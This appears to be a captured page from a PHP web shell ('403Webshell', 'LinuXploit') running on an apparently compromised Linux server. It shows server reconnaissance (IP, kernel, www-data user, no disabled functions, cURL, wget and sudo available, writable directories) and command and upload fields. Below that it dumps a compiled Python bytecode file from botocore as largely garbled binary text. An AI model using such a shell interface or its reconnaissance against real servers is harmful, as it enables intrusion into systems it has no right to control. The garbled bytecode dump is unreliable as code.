403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/botocore/docs/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/botocore/docs/__pycache__/shape.cpython-314.pyc
+
��iN��&�^RIHt!RR4tR#)�)�is_json_value_headerc�Ja�]tRt^toRtR	RltR
RltRtRtRt	Rt
VtR#)�ShapeDocumenter�Nc�T�WnW nW0nW@nVfR//VnR#R#)N�special_shape_types)�
_service_name�_operation_name�_event_emitter�_context)�self�service_name�operation_name�
event_emitter�contexts&&&&&�5/usr/lib/python3/dist-packages/botocore/docs/shape.py�__init__�ShapeDocumenter.__init__s1��*��-��+���
��?�2�B�7�D�M��c��VPp\VR/4PR4'dRpVPV9dVP	WVR7R
#VPVP4\
V4^8Hp	\VR4'dVP'dRp\VRV2VP4!VVVVVVV	VR7V	'dHVPPR	VPR
VPR
VPR
V2VR7\
V4^8Hp
V
'dFVPPR	VPR
VPR
VPR2VR7VP4R
#)a�Traverses and documents a shape

Will take a self class and call its appropriate methods as a shape
is traversed.

:param section: The section to document.

:param history: A list of the names of the shapes that have been
    traversed.

:type include: Dictionary where keys are parameter names and
    values are the shapes of the parameter names.
:param include: The parameter shapes to include in the documentation.

:type exclude: List of the names of the parameters to exclude.
:param exclude: The names of the parameters to exclude from
    documentation.

:param name: The name of the shape.

:param is_required: If the shape is a required member.
�
serialization�eventstream�event_stream)�name�is_document_type�document�document_shape_type_)�historyr�include�exclude�is_top_level_param�is_requiredzdocs.�.)�sectionz.complete-sectionN)�	type_name�getattr�getr�document_recursive_shape�append�len�hasattrr�document_shape_defaultr�emit�
EVENT_NAMEr	r
�pop)r
r$�shaperrr rr"�
param_typer!�at_overlying_method_sections&&&&&&&&   r�traverse_and_document_shape�+ShapeDocumenter.traverse_and_document_shape#s���@�_�_�
��5�/�2�.�2�2�=�A�A�'�J��:�:�� ��)�)�'�t�)�D��N�N�5�:�:�&�!$�W���!2���u�0�1�1�e�6L�6L�6L�'�
���&�z�l�3��+�+�
�
������#5�'�

�"��#�#�(�(��D�O�O�,�A�d�.@�.@�-A��4�CW�CW�BX�XY�Z^�Y_�`�#�)��+.�g�,�!�*;�'�*��#�#�(�(��D�O�O�,�A�d�.@�.@�-A��4�CW�CW�BX�Xi�j�#�)��
�K�K�Mrc
�<�RRRRRRRRRR/pVPW4#)	�
document_typez({...}|[...]|123|123.4|'string'|True|None�jsonvalue_header�streaming_input_shapez
b'bytes'|file�streaming_output_shapezStreamingBody()�eventstream_output_shapez
EventStream()��_get_value_for_special_type)r
r0�special_defaultss&& r�_get_special_py_default�'ShapeDocumenter._get_special_py_defaulths:���I�� L�#�%6�$�&7�&��
���/�/��H�Hrc
�<�RRRRRRRRRR	/pVPW4#)
r6z:ref:`document<document>`r7zJSON serializabler8z"bytes or seekable file-like objectr9z:class:`.StreamingBody`r:z:class:`.EventStream`r;)r
r0�special_type_namess&& r�_get_special_py_type_name�)ShapeDocumenter._get_special_py_type_namers;���8�� 3�#�%I�$�&?�&�(?�
���/�/��J�Jrc��\V4'd
VR,#\VR4'dVP'd
VR,#VPR,P	4Fwr4W29gK
W8XgKW#,u#	R#)r7rr6rN)rr+rr�items)r
r0�special_type_map�special_type�marked_shapes&&&  rr<�+ShapeDocumenter._get_value_for_special_type|s~����&�&�#�$6�7�7��5�,�-�-�%�2H�2H�2H�#�O�4�4�*.�-�-�!�+
�
�%�'�+�&�L��/��(�+�9�9�+�r)rrr
r	)N)NNNF)�__name__�
__module__�__qualname__�__firstlineno__r.rr3r>rBr<�__static_attributes__�__classdictcell__)�
__classdict__s@rrrs,�����J�8�C�JI�K��rrN)�botocore.utilsrr�rr�<module>rSs��&0�q�qr

Youez - 2016 - github.com/yon3zu
LinuXploit